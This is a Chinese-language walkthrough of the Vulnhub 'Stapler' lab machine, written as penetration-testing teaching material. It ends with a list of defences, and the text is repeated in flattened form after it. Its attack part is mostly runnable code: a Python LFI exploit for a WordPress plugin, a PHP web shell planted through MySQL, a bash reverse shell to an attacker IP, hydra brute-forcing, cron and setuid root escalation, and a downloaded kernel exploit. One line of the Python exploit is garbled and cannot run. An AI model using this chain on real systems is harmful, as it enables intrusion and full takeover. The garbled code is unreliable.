[Vulnhub] Stapler wp-videos+ftp+smb+bash_history权限提升+SUID权限提升+Kernel权限提升
字数 1771 2025-08-19 12:41:30

Stapler靶机渗透测试详细教学文档

1. 信息收集阶段

1.1 初始扫描

使用Nmap进行全端口扫描:

nmap -p- 192.168.8.106 --min-rate 1000 -sC -sV

扫描结果摘要:

  • 21/tcp: FTP (vsftpd 3.0.3) - 允许匿名登录
  • 22/tcp: SSH (OpenSSH 7.2p2 Ubuntu 4)
  • 53/tcp: DNS (dnsmasq 2.75)
  • 80/tcp: HTTP (PHP cli server 5.5或更高版本)
  • 139/tcp: SMB (Samba 3.X-4.X)
  • 666/tcp: 未知服务
  • 3306/tcp: MySQL (5.7.12-0ubuntu1)
  • 12380/tcp: HTTP (Apache 2.4.18)

1.2 服务枚举

FTP服务

匿名登录FTP:

ftp 192.168.8.106
用户名: anonymous
密码: (任意或留空)

发现PASV模式失败,无法列出目录。

HTTP服务

  • 主HTTP服务(80端口)返回404
  • HTTPS服务(12380端口)运行WordPress

使用DIRB进行目录扫描:

dirb https://192.168.8.106:12380

发现/robots.txt/blogblog/路径。

WordPress扫描

使用WPScan扫描WordPress:

wpscan --url "https://192.168.8.106:12380/blogblog/" --enumerate ap,u --disable-tls-checks

发现插件advanced-video-embed-embed-videos-or-playlists v1.0存在漏洞。

2. 初始入侵

2.1 WordPress插件漏洞利用

利用advanced-video-embed-embed-videos-or-playlists插件的LFI漏洞获取wp-config.php文件:

import random
import urllib2
import re
import ssl

ssl._create_default_https_context = ssl._create_unverified_context

url = "https://192.168.8.106:12380/blogblog"
randomID = long(random.random() * 100000000000000000L)
objHtml = urllib2.urlopen(url + '/wp-admin/admin-ajax.php?action=ave_publishPost&title=' + str(randomID) + '&short=rnd&term=rnd&thumb=../wp-config.php')
content = objHtml.readlines()

for line in content:
    numbers = re.findall(r'\d+',line)
    id = numbers[-1]
    id = int(id) / 10

objHtml = urllib2.urlopen(url + '/?p=' + str(id))
content = objHtml.readlines()

for line in content:
    if 'attachment-post-thumbnail size-post-thumbnail wp-post-image' in line:
        urls=re.findall('"(https?line) 
        print urllib2.urlopen(urls[0]).read()

2.2 获取数据库凭据

从wp-config.php中获取MySQL凭据:

  • 用户名: root
  • 密码: plbkac

2.3 访问phpMyAdmin

访问https://192.168.8.106:12380/phpmyadmin/并使用root凭据登录。

查看WordPress用户表:

SELECT user_login, user_pass FROM wp_users;

2.4 上传Web Shell

在MySQL中执行以下命令上传PHP shell:

SELECT "<?php echo shell_exec($_GET['cmd']);?>" INTO OUTFILE "/var/www/https/blogblog/wp-content/uploads/shell.php";

访问shell并获取反向连接:

https://192.168.8.106:12380/blogblog/wp-content/uploads/shell.php?cmd=/bin/bash+-c+'bash+>&+/dev/tcp/192.168.8.107/10032+0>&1'

3. 权限提升

3.1 枚举SMB用户

使用enum4linux枚举SMB用户:

enum4linux 192.168.8.106

3.2 FTP暴力破解

/home/note文件中获取可能的用户名列表,使用hydra进行FTP暴力破解:

hydra -L users.txt -e nsr ftp://192.168.8.106

成功凭据:

  • 用户名: SHayslett
  • 密码: SHayslett
  • 用户名: elly
  • 密码: ylle (用户名反转)

3.3 获取/etc/passwd

通过FTP获取/etc/passwd文件,分析系统用户。

3.4 SSH暴力破解

使用hydra对SSH进行暴力破解:

hydra -L users.txt -e nsr ssh://192.168.8.106

3.5 利用Bash历史记录

查找.bash_history文件:

find /home -name ".bash_history" -exec cat {} \;

发现凭据:

  • 用户名: JKanode
  • 密码: thisimypassword
  • 用户名: peter
  • 密码: JZQuyIN5

3.6 通过peter用户提权

切换到peter用户:

su peter
密码: JZQuyIN5

检查sudo权限:

sudo -l

利用find命令提权:

sudo find . -exec /bin/sh \; -quit

3.7 SUID提权

使用linuxprivchecker.py查找SUID提权机会:

python linuxprivchecker.py

发现定时任务/usr/local/sbin/cron-logrotate.sh以root权限运行。

创建恶意脚本:

echo -e 'chown root:root /tmp/setuid;chmod 4777 /tmp/setuid;' > /usr/local/sbin/cron-logrotate.sh

编译setuid程序:

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main(void){
    setuid(0);
    setgid(0);
    system("/bin/bash");
}

编译:

gcc /tmp/setuid.c -o /tmp/setuid

等待定时任务执行后,运行setuid程序获取root shell:

/tmp/setuid

3.8 内核提权

下载并编译内核提权利用程序:

wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
unzip 39772.zip
cd 39772
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput

4. 关键知识点总结

  1. 信息收集:全面的端口扫描和服务识别是渗透测试的基础
  2. WordPress安全:插件漏洞是常见的攻击向量
  3. LFI漏洞利用:通过文件包含获取敏感信息
  4. 数据库安全:默认凭据和不当权限配置会导致严重安全问题
  5. 暴力破解:合理使用工具和字典可以提高成功率
  6. 历史记录分析:用户操作历史可能泄露敏感信息
  7. SUID提权:不当的文件权限设置会导致权限提升
  8. 定时任务利用:监控和分析系统定时任务
  9. 内核漏洞利用:了解系统内核版本和对应漏洞

5. 防御建议

  1. 及时更新所有软件和插件
  2. 禁用不必要的服务和匿名登录
  3. 使用强密码策略和账户锁定机制
  4. 限制数据库用户的权限
  5. 定期检查系统SUID文件和定时任务
  6. 保持内核和系统更新
  7. 配置适当的日志监控和告警
  8. 实施最小权限原则
Stapler靶机渗透测试详细教学文档 1. 信息收集阶段 1.1 初始扫描 使用Nmap进行全端口扫描: 扫描结果摘要: 21/tcp : FTP (vsftpd 3.0.3) - 允许匿名登录 22/tcp : SSH (OpenSSH 7.2p2 Ubuntu 4) 53/tcp : DNS (dnsmasq 2.75) 80/tcp : HTTP (PHP cli server 5.5或更高版本) 139/tcp : SMB (Samba 3.X-4.X) 666/tcp : 未知服务 3306/tcp : MySQL (5.7.12-0ubuntu1) 12380/tcp : HTTP (Apache 2.4.18) 1.2 服务枚举 FTP服务 匿名登录FTP: 发现PASV模式失败,无法列出目录。 HTTP服务 主HTTP服务(80端口)返回404 HTTPS服务(12380端口)运行WordPress 使用DIRB进行目录扫描: 发现 /robots.txt 和 /blogblog/ 路径。 WordPress扫描 使用WPScan扫描WordPress: 发现插件 advanced-video-embed-embed-videos-or-playlists v1.0存在漏洞。 2. 初始入侵 2.1 WordPress插件漏洞利用 利用 advanced-video-embed-embed-videos-or-playlists 插件的LFI漏洞获取wp-config.php文件: 2.2 获取数据库凭据 从wp-config.php中获取MySQL凭据: 用户名: root 密码: plbkac 2.3 访问phpMyAdmin 访问 https://192.168.8.106:12380/phpmyadmin/ 并使用root凭据登录。 查看WordPress用户表: 2.4 上传Web Shell 在MySQL中执行以下命令上传PHP shell: 访问shell并获取反向连接: 3. 权限提升 3.1 枚举SMB用户 使用enum4linux枚举SMB用户: 3.2 FTP暴力破解 从 /home/note 文件中获取可能的用户名列表,使用hydra进行FTP暴力破解: 成功凭据: 用户名: SHayslett 密码: SHayslett 用户名: elly 密码: ylle (用户名反转) 3.3 获取/etc/passwd 通过FTP获取 /etc/passwd 文件,分析系统用户。 3.4 SSH暴力破解 使用hydra对SSH进行暴力破解: 3.5 利用Bash历史记录 查找.bash_ history文件: 发现凭据: 用户名: JKanode 密码: thisimypassword 用户名: peter 密码: JZQuyIN5 3.6 通过peter用户提权 切换到peter用户: 检查sudo权限: 利用find命令提权: 3.7 SUID提权 使用linuxprivchecker.py查找SUID提权机会: 发现定时任务 /usr/local/sbin/cron-logrotate.sh 以root权限运行。 创建恶意脚本: 编译setuid程序: 编译: 等待定时任务执行后,运行setuid程序获取root shell: 3.8 内核提权 下载并编译内核提权利用程序: 4. 关键知识点总结 信息收集 :全面的端口扫描和服务识别是渗透测试的基础 WordPress安全 :插件漏洞是常见的攻击向量 LFI漏洞利用 :通过文件包含获取敏感信息 数据库安全 :默认凭据和不当权限配置会导致严重安全问题 暴力破解 :合理使用工具和字典可以提高成功率 历史记录分析 :用户操作历史可能泄露敏感信息 SUID提权 :不当的文件权限设置会导致权限提升 定时任务利用 :监控和分析系统定时任务 内核漏洞利用 :了解系统内核版本和对应漏洞 5. 防御建议 及时更新所有软件和插件 禁用不必要的服务和匿名登录 使用强密码策略和账户锁定机制 限制数据库用户的权限 定期检查系统SUID文件和定时任务 保持内核和系统更新 配置适当的日志监控和告警 实施最小权限原则